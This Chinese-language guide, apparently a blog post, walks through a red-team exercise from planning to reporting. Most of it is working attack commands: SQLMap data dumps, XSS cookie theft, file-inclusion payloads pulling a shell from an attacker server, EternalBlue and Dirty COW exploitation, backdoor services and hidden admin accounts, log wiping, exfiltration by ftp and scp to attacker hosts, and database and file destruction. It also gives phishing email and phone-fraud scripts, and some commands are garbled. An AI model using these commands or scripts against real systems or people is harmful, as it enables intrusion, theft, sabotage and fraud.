一、演练前期准备
(一)组建红队团队
- 人员构成
- 渗透测试专家:具备丰富的渗透测试经验,熟悉各种网络攻击技术,如漏洞利用、社会工程学等。
- 逆向工程师:擅长对软件进行逆向分析,可破解防护机制,分析目标系统的二进制文件等。
- 网络协议专家:深入理解网络协议(如 TCP/IP、HTTP 等),能够利用协议漏洞进行攻击。
- 社会工程学专家:负责通过心理战术获取目标信息,如钓鱼邮件、电话诈骗等。
- 工具准备
- 信息收集工具:
- Nmap:用于网络扫描,发现目标网络中的存活主机、开放端口等信息。例如,使用命令 “nmap -sS -p 1 – 65535 target – ip” 进行全端口扫描。
- Shodan:可搜索联网设备,获取目标设备的基本信息(如操作系统、开放服务等)。
- 漏洞扫描工具:
- Nessus:能扫描目标系统的漏洞,生成详细的漏洞报告。配置好扫描策略后,对目标 IP 范围进行扫描。
- OpenVAS:开源的漏洞扫描工具,同样可用于漏洞检测。
- 渗透攻击工具:
- Metasploit:集成了大量的渗透攻击模块,可根据扫描到的漏洞进行攻击。例如,利用 “exploit/windows/smb/ms08_067_netapi” 模块攻击存在 MS08 – 067 漏洞的 Windows 系统。
- Burp Suite:用于 Web 应用程序的渗透测试,可进行漏洞扫描、代理拦截等操作。
- 密码破解工具:
- John the Ripper:可破解各种类型的密码哈希值。例如,使用 “john –wordlist = wordlist.txt hash – file” 命令进行密码破解。
- Hashcat:高性能的密码破解工具,支持多种哈希算法。
- 信息收集工具:
(二)明确演练目标
- 确定攻击范围
- 与演练组织者沟通,明确目标网络的 IP 范围、域名范围等。例如,目标网络为 “192.168.1.0/24”,目标域名包括 “example.com” 及其子域名。
- 设定攻击目标
- 如获取目标系统的管理员权限、窃取敏感数据(如用户数据库、财务报表等)、破坏关键业务系统(如 Web 服务器、数据库服务器)等。
(三)制定攻击计划
- 信息收集阶段计划
- 对目标网络进行全面的端口扫描,确定开放的服务。
- 收集目标的域名信息,包括 DNS 记录、子域名等。
- 查找目标系统的公开信息,如公司网站、社交媒体等,获取可能的用户名、邮箱等信息。
- 漏洞分析与利用阶段计划
- 根据信息收集结果,分析目标系统可能存在的漏洞。
- 选择合适的漏洞利用工具和方法,制定攻击路径。例如,若发现目标 Web 服务器存在 SQL 注入漏洞,计划使用 SQLMap 进行注入攻击。
- 权限提升与维持阶段计划
- 若获取了普通用户权限,计划通过本地提权漏洞(如 Windows 系统的 MS16 – 014 漏洞)提升权限。
- 考虑如何维持对目标系统的访问权限,如安装后门程序(使用 Metasploit 的 “metsvc” 模块)。
- 数据窃取与破坏阶段计划
- 确定要窃取的数据类型和存储位置。
- 制定破坏关键业务系统的方法,如删除重要文件、修改数据库数据等。
二、信息收集阶段
(一)目标网络探测
- IP 地址扫描
- 使用 Nmap 进行扫描:
- 快速扫描:“nmap – T4 – F target – ip”,快速识别目标主机开放的常见端口。
- 全面扫描:“nmap – sS – sV – O – T4 target – ip”,不仅扫描端口,还识别服务版本和操作系统类型。
- 分析扫描结果,记录存活主机 IP、开放端口及对应的服务。例如,发现 IP“192.168.1.10” 开放了 80(HTTP)、22(SSH)、3389(RDP)端口,服务版本分别为 Apache 2.4.29、OpenSSH 7.4、Microsoft Terminal Services 6.3。
- 使用 Nmap 进行扫描:
- 域名信息收集
- 使用 “whois” 命令查询域名注册信息:“whois example.com”,获取注册人、注册邮箱、注册日期等信息。
- 利用 “dnsenum” 工具枚举子域名:“dnsenum example.com”,可能发现 “mail.example.com”“admin.example.com” 等子域名。
- 进行 DNS 解析记录查询,如使用 “dig” 命令:“dig example.com”,获取 A 记录、MX 记录等。
(二)目标系统信息收集
- Web 应用信息收集
- 使用 Burp Suite 的爬虫功能,爬取目标 Web 应用的页面链接、表单等信息。
- 分析页面源代码,查找可能的注释信息(如数据库连接字符串、开发人员留言等)。例如,在页面源代码中发现 “”。
- 检查 Web 应用的 robots.txt 文件,了解哪些页面不允许爬虫访问,同时也可能发现一些隐藏的目录(如 “/admin – panel”)。
- 操作系统与服务信息收集
- 根据 Nmap 的扫描结果,进一步确认操作系统类型。如对于开放 SSH 端口的主机,尝试连接并查看 SSH banner 信息:“ssh – v 192.168.1.10”,获取 SSH 服务版本,间接推断操作系统版本(如 OpenSSH 7.4 可能对应 CentOS 7 系统)。
- 对于 Web 服务,发送特定的 HTTP 请求头,查看服务器响应头信息。例如,发送 “HEAD / HTTP/1.1” 请求,获取 “Server” 字段信息,如 “Server: Apache/2.4.29 (Ubuntu)”。
(三)社会工程学信息收集
- 钓鱼邮件准备
- 伪造与目标公司相关的邮件内容,如以 “系统升级通知”“工资单查看” 等为主题。
- 设计邮件正文,包含一个链接(指向钓鱼网站)和一些诱导性语言。例如:“亲爱的员工,由于公司系统升级,请点击以下链接重新验证您的账户信息,否则将影响您的工资发放。[钓鱼链接]”。
- 收集目标公司员工的邮箱地址,可通过公司网站 “联系我们” 页面、社交媒体(如 LinkedIn)等途径获取。
- 电话诈骗准备
- 了解目标公司的业务流程,如客服部门的工作方式。
- 伪造身份,如冒充电信运营商客服,声称目标公司网络存在安全问题,需要配合进行 “安全检查”。
- 准备好应对各种问题的话术,如当被询问时,回答:“我们检测到您公司的网络可能受到攻击,为了保护您的业务正常运行,请您提供一下网络管理员的联系方式,我们会进一步沟通。”
三、漏洞分析与利用阶段
(一)漏洞扫描
- Web 应用漏洞扫描
- 使用 Burp Suite 的 “Scanner” 模块对目标 Web 应用进行扫描。配置扫描策略,选择全面扫描模式。
- 分析扫描结果,识别常见的 Web 漏洞,如 SQL 注入、XSS(跨站脚本攻击)、文件包含等。例如,发现 “/user – profile.php” 页面存在 SQL 注入漏洞,当输入 “’ or 1 = 1 –” 时,页面返回异常。
- 对于发现的漏洞,进行手动验证。如对于 SQL 注入漏洞,使用 SQLMap 进行验证:“sqlmap – u “http://example.com/user – profile.php?id = 1″ –dbs”,查看是否能获取数据库信息。
- 系统漏洞扫描
- 针对目标操作系统和服务,使用 Nessus 或 OpenVAS 进行扫描。配置扫描策略,选择针对目标操作系统版本的漏洞插件。
- 例如,对 Windows Server 2012 R2 系统进行扫描,发现存在 MS17 – 010(永恒之蓝)漏洞。
- 分析扫描报告,记录漏洞的严重程度(如高危、中危、低危)、漏洞编号(如 CVE – 2017 – 0144)及描述信息。
(二)漏洞利用
- Web 应用漏洞利用
- SQL 注入攻击:
- 若使用 SQLMap,根据之前验证的 URL,进一步获取数据库表结构:“sqlmap – u “http://example.com/user – profile.php?id = 1″ –tables”。
- 然后获取特定表的字段信息:“sqlmap – u “http://example.com/user – profile.php?id = 1″ – T users –columns”。
- 最后尝试获取用户数据:“sqlmap – u “http://example.com/user – profile.php?id = 1″ – T users – C username,password –dump”。
- XSS 攻击:
- 对于反射型 XSS 漏洞,构造恶意脚本,如 “<script>alert(document.cookie)</script>”,并将其注入到存在漏洞的参数中(如 URL 参数)。当用户访问该链接时,会弹出包含用户 Cookie 的警告框。
- 对于存储型 XSS 漏洞,将恶意脚本提交到目标 Web 应用的存储位置(如留言板),当其他用户访问该页面时,脚本会自动执行,可用于窃取用户 Cookie 或进行其他恶意操作。
- 文件包含漏洞利用:
- 若存在本地文件包含漏洞,尝试包含敏感文件,如 “/etc/passwd”(Linux 系统)或 “C:\Windows\System32\drivers\etc\hosts”(Windows 系统)。例如,构造 URL“http://example.com/file – include.php?file =../../../../etc/passwd”。
- 若存在远程文件包含漏洞,上传一个包含恶意代码(如 PHP 反弹 Shell 代码)的文件到可访问的服务器,然后构造 URL 包含该文件:“http://example.com/file – include.php?file = http://attacker – server/shell.php”。
- SQL 注入攻击:
- 系统漏洞利用
- MS17 – 010(永恒之蓝)漏洞利用:
- 使用 Metasploit 的 “exploit/windows/smb/ms17_010_eternalblue” 模块。
- 设置 RHOST(目标 IP)、LPORT(本地监听端口)等参数。
- 执行攻击:“exploit”,成功后可获取目标系统的一个 Meterpreter 会话。
- Linux 本地提权漏洞利用(以脏牛漏洞为例):
- 下载脏牛漏洞利用代码(如 “dirty – cow.c”)。
- 编译代码:“gcc dirty – cow.c – o dirty – cow”。
- 在目标 Linux 系统(已获取普通用户权限)上执行:“./dirty – cow”,尝试提升为 root 权限。
- MS17 – 010(永恒之蓝)漏洞利用:
四、权限提升与维持阶段
(一)权限提升
- Windows 系统权限提升
- 基于漏洞的提权:
- 除了 MS17 – 010 等远程漏洞提权外,对于已获取普通用户权限的 Windows 系统,查找本地提权漏洞。例如,使用 “windows – exploit – suggester” 工具(基于本地系统信息和漏洞数据库对比),发现存在 MS16 – 014(Windows 内核内存 corruption 漏洞)。
- 下载对应的提权工具(如 “MS16 – 014 – x64.exe”),在目标系统上执行,尝试提升为管理员权限。
- 基于令牌窃取的提权:
- 在 Meterpreter 会话中,使用 “getuid” 命令查看当前用户权限。
- 若为普通用户,尝试窃取系统令牌。使用 “incognito” 模块:“load incognito”,然后列举可用令牌:“list_tokens – u”。
- 选择一个高权限令牌(如 “NT AUTHORITY\SYSTEM”)进行模拟:“impersonate_token “NT AUTHORITY\SYSTEM””,提升当前会话权限。
- 基于漏洞的提权:
- Linux 系统权限提升
- 基于漏洞的提权:
- 如前面提到的脏牛漏洞提权成功后,即可获取 root 权限。
- 对于其他漏洞,如 sudo 权限配置不当(某些用户被赋予了 sudo 执行特定命令且无需密码的权限),可利用该漏洞。例如,用户 “user1” 被配置为 “user1 ALL = (root) NOPASSWD: /usr/bin/apt – get”,则可执行 “sudo /usr/bin/apt – get – o Dpkg::Options::=”–force – overwrite” – o Debug::pkgProblemResolver = true install”,通过 APT 包管理器的漏洞提权(具体利用方式需根据漏洞细节)。
- 基于密码破解的提权:
- 若获取了 shadow 文件(需先获取一定权限,如普通用户读取 shadow 文件权限被错误配置),使用 John the Ripper 或 Hashcat 进行密码破解。例如,将 shadow 文件中的密码哈希值提取出来,保存为 “hash.txt”,然后使用 “john –wordlist = rockyou.txt hash.txt” 进行破解。若破解出 root 用户密码,即可通过 “su root” 切换为 root 用户。
- 基于漏洞的提权:
(二)权限维持
- 后门植入
- Windows 系统后门:
- 使用 Meterpreter 的 “metsvc” 模块:在 Meterpreter 会话中执行 “run metsvc”,会在目标系统安装一个名为 “ metsrv” 的服务,该服务会在系统启动时自动运行,为攻击者提供持久的访问通道。
- 还可创建隐藏用户:使用命令 “net user hiddenuser
- Windows 系统后门:
-
-
- ecret /add” 添加用户,然后将其添加到管理员组:“net localgroup administrators hiddenuser /add”。接着通过修改注册表隐藏用户(如删除用户在 “HKLM\SAM\SAM\Domains\Account\Users\Names” 中的键值,但需注意操作风险)。
- Linux 系统后门:
- 安装 SSH 后门:修改 “/etc/ssh/sshd_config” 文件,添加 “Match User root”“PasswordAuthentication yes”(假设原本禁止 root 密码登录),然后重启 SSH 服务:“service sshd restart”。
- 也可使用 “rootkit” 工具(如 “Knark”),它可以隐藏文件、进程、网络连接等,使攻击者的活动更难被发现。安装后,攻击者可以通过特定的方式(如隐藏的端口)访问目标系统。
-
- 日志清理
- Windows 系统日志清理:
- 在 Meterpreter 会话中,使用 “clearev” 命令清除事件日志(应用程序日志、安全日志、系统日志)。
- 手动删除一些可能记录攻击痕迹的日志文件,如 IIS 日志(默认路径 “C:\inetpub\logs\LogFiles”)。
- Linux 系统日志清理:
- 清空 “/var/log/auth.log”(认证日志)、“/var/log/syslog”(系统日志)等文件:“> /var/log/auth.log”“> /var/log/syslog”。
- 对于使用 rsyslog 服务的系统,可修改其配置文件(如 “/etc/rsyslog.conf”),暂时停止日志记录,完成操作后再恢复。
- Windows 系统日志清理:
五、数据窃取与破坏阶段
(一)数据窃取
若目标系统安装了 FTP 服务,也可上传一个 FTP 客户端(如 “ftp – client.exe”),然后连接到攻击者控制的 FTP 服务器,然后连接到攻击者控制的 FTP 服务器,将文件传输到本地。例如,在目标系统命令行中执行 “ftp – client.exe attacker – ftp – server – ip”,按照提示输入用户名和密码(攻击者设置的),然后使用 “put sensitive – file.docx” 命令上传文件。
数据库数据窃取
关系型数据库(如 MySQL):
若已获取数据库用户权限(如通过 Web 应用漏洞获取了数据库连接账号密码),使用命令行工具或图形化工具(如 MySQL Workbench)连接数据库。
例如,使用命令 “mysql – u username – p – h target – ip”,输入密码后连接。然后执行 “SELECT * FROM users;”(假设存在 “users” 表)获取用户数据。
对于大量数据,可使用 “SELECT * INTO OUTFILE ‘/tmp/users.csv’ FIELDS TERMINATED BY ‘,’ ENCLOSED BY ‘”‘ LINES TERMINATED BY ‘\n’ FROM users;”(需数据库用户有文件写入权限)将数据导出为 CSV 文件,然后通过文件传输工具(如 scp,在 Linux 系统间;或 WinSCP,在 Windows 与其他系统间)下载到本地。
非关系型数据库(如 MongoDB):
若 MongoDB 未设置访问控制(无用户名密码)或获取了访问凭证,使用 “mongo target – ip” 连接。
查看数据库列表:“show dbs”,选择目标数据库:“use target – db”,查看集合列表:“show collections”。
例如,获取 “users” 集合数据:“db.users.find ()”,可将结果导出为 JSON 文件:“mongoexport – h target – ip – d target – db – c users – o users.json”,然后下载文件。
文件数据窃取
Windows 系统文件窃取:
在 Meterpreter 会话中,使用 “download” 命令下载文件。例如,“download C:\Users\Administrator\Documents\sensitive – file.docx”。
- Linux 系统文件窃取:
- 使用 “scp” 命令(假设攻击者有一个 Linux 服务器)。在目标系统(已获取一定权限)执行 “scp /path/to/sensitive – file.txt attacker – server – user@attacker – server – ip:/path/on/attacker – server”,输入攻击者服务器用户密码后传输文件。
- 若目标系统安装了 Python,也可使用 Python 的简单 HTTP 服务器功能。在文件所在目录执行 “python – m SimpleHTTPServer 8000”(Python 2)或 “python – m http.server 8000”(Python 3),然后在攻击者机器上使用 “wget http://target – ip:8000/sensitive – file.txt” 下载文件。
(二)数据破坏
- 数据库数据破坏
- 删除数据:
- 对于关系型数据库(如 MySQL),执行 “DELETE FROM users;”(假设要删除 “users” 表数据),但需谨慎操作,此操作不可逆。
- 对于 MongoDB,执行 “db.users.remove ({})” 删除 “users” 集合的所有文档。
- 修改数据:
- 在 MySQL 中,执行 “UPDATE users SET password = ‘new – password’ WHERE username = ‘admin’;” 修改管理员用户密码。
- 在 MongoDB 中,执行 “db.users.update ({}, { $set: { email: ‘attacker@example.com’ } }, { multi: true })” 修改所有用户的邮箱地址。
- 删除数据:
- 文件数据破坏
- 删除文件:
- 在 Windows 系统命令行中执行 “del C:\important – file.xlsx” 删除重要文件(需有相应权限)。
- 在 Linux 系统中执行 “rm /var/www/html/backup – file.tar.gz” 删除文件。
- 篡改文件:
- 对于文本文件(如配置文件),使用文本编辑工具(如 Windows 的记事本、Linux 的 vi)打开并修改内容。例如,修改 Linux 系统的 “/etc/network/interfaces” 文件,破坏网络配置(如删除正确的 IP 配置信息并添加错误信息)。
- 对于二进制文件(如可执行文件),可使用十六进制编辑工具(如 HxD)进行修改,可能导致文件无法正常运行。
- 删除文件:
六、演练后期总结
(一)攻击过程记录与分析
- 记录攻击步骤
- 详细记录从信息收集到数据窃取与破坏的每一个步骤,包括使用的工具、命令、获取的信息等。例如:
- 信息收集阶段:使用 Nmap 扫描 “192.168.1.10”,命令为 “nmap – sS – sV – O – T4 192.168.1.10”,发现开放端口 80(Apache 2.4.29)、22(OpenSSH 7.4)等。
- 漏洞利用阶段:针对目标 Web 应用 “/user – profile.php” 的 SQL 注入漏洞,使用 SQLMap 命令 “sqlmap – u “http://example.com/user – profile.php?id = 1” –dbs” 获取数据库列表。
- 详细记录从信息收集到数据窃取与破坏的每一个步骤,包括使用的工具、命令、获取的信息等。例如:
- 分析攻击成功与失败原因
- 成功原因:
- 目标系统存在未及时修补的高危漏洞(如 MS17 – 010),为攻击提供了入口。
- 社会工程学手段有效获取了部分用户信息(如通过钓鱼邮件获取了员工邮箱和密码),辅助了后续攻击。
- 失败原因:
- 部分主机的防火墙配置严格,阻止了一些端口扫描和攻击尝试(如对 Nmap 的 SYN 扫描进行了拦截)。
- 对于某些复杂的 Web 应用防护机制(如 WAF,Web 应用防火墙),攻击方法不够有效,导致漏洞利用失败。
- 成功原因:
(二)编写演练报告
- 报告结构
- 封面:包含演练名称、红队团队名称、日期等。
- 目录:列出报告的章节和小节。
- 摘要:简要概括演练的目标、过程和主要成果。
- 正文:
- 演练背景:说明演练的目的和意义。
- 团队与工具:介绍红队团队成员和使用的工具。
- 攻击过程:按照信息收集、漏洞分析与利用、权限提升与维持、数据窃取与破坏的顺序详细描述。
- 结果分析:分析攻击成功和失败的原因,评估对目标系统的影响(如数据泄露量、系统 downtime 等)。
- 建议与改进:针对目标系统存在的安全问题,提出防护建议(如及时修补漏洞、加强员工安全培训、优化防火墙策略等);对于红队自身,提出改进攻击方法和工具使用的建议。
- 附录:包含攻击过程中使用的命令记录、工具输出结果截图、收集到的目标信息等。
- 报告内容示例
- 摘要:本次网络安全攻防演练(红队)旨在模拟真实网络攻击场景,评估目标系统的安全性。红队通过信息收集发现目标系统存在多个漏洞,利用这些漏洞成功获取了部分系统权限,窃取了少量测试数据,并对部分测试文件进行了破坏。演练过程中也发现了目标系统防护的一些薄弱环节和红队攻击方法的不足之处。
- 建议与改进:
- 目标系统方面:建议每月进行一次系统漏洞扫描和修补;对员工进行至少每季度一次的网络安全培训,提高防范钓鱼邮件等社会工程学攻击的意识;优化防火墙规则,对异常的端口扫描行为进行实时阻断和报警。
- 红队方面:加强对新型 Web 应用防护机制(如高级 WAF)的研究,探索更有效的绕过方法;在社会工程学攻击中,尝试更精准的目标定位(如针对特定部门的关键人员),提高攻击成功率。
(三)与蓝队(防守方)交流
- 漏洞披露
- 向蓝队详细说明发现的漏洞,包括漏洞类型(如 SQL 注入、系统漏洞)、漏洞位置(如具体的 Web 页面、服务器 IP 和端口)、漏洞利用方法等。例如:“我们在目标 Web 应用的‘/user – profile.php’页面发现了 SQL 注入漏洞,通过构造特定的 SQL 语句(如‘’ or 1 = 1 –’)可以获取数据库信息。该漏洞的根本原因是应用程序对用户输入的 SQL 参数未进行严格的过滤。”
- 防护建议交流
- 与蓝队探讨针对发现的漏洞和攻击手段的防护措施。如对于 SQL 注入漏洞,建议蓝队采用参数化查询(如在 Java 中使用 PreparedStatement)、输入验证(限制输入字符类型和长度)、Web 应用防火墙(WAF)规则优化(添加针对 SQL 注入特征的拦截规则)等方法进行防护。
- 分享红队在攻击过程中遇到的防护难点(如某些安全设备的误报率高,影响正常业务),与蓝队共同寻找平衡点,既加强安全防护,又不影响业务系统的正常运行。
通过以上完整的网络安全攻防演练(红队)流程,能够全面检验目标系统的安全性,同时也有助于红队提升攻击技术和团队协作能力,促进网络安全防御体系的不断完善。
以下是一个简单的流程矩阵示例(以表格形式呈现主要阶段和关键任务):
阶段 | 关键任务 | 工具 / 方法 |
---|---|---|
前期准备 | 组建团队、准备工具 | 人员技能评估、工具安装配置(Nmap、Metasploit 等) |
明确目标 | 与组织者沟通确定攻击范围和目标 | |
制定计划 | 分阶段制定信息收集、漏洞利用等计划 | |
信息收集 | 目标网络探测(IP、域名) | Nmap、dnsenum、whois 等 |
目标系统信息收集(Web、OS 等) | Burp Suite、Nmap 服务版本识别等 | |
社会工程学信息收集(钓鱼、电话) | 伪造邮件、设计话术 | |
漏洞分析与利用 | 漏洞扫描(Web、系统) | Burp Suite Scanner、Nessus/OpenVAS |
漏洞利用(Web、系统) | SQLMap、Metasploit 模块等 | |
权限提升与维持 | 权限提升(Windows、Linux) | 本地提权漏洞工具、令牌窃取等 |
权限维持(后门、日志清理) | metsvc 模块、日志文件操作命令 | |
数据窃取与破坏 | 数据窃取(数据库、文件) | 数据库客户端工具、scp/wget 等 |
数据破坏(删除、篡改) | 数据库删除 / 更新命令、文件操作命令 | |
后期总结 | 攻击记录与分析 | 文档记录、结果对比分析 |
编写报告 | 按照报告结构整理内容 | |
与蓝队交流 | 漏洞披露、防护建议讨论 |
暂无评论内容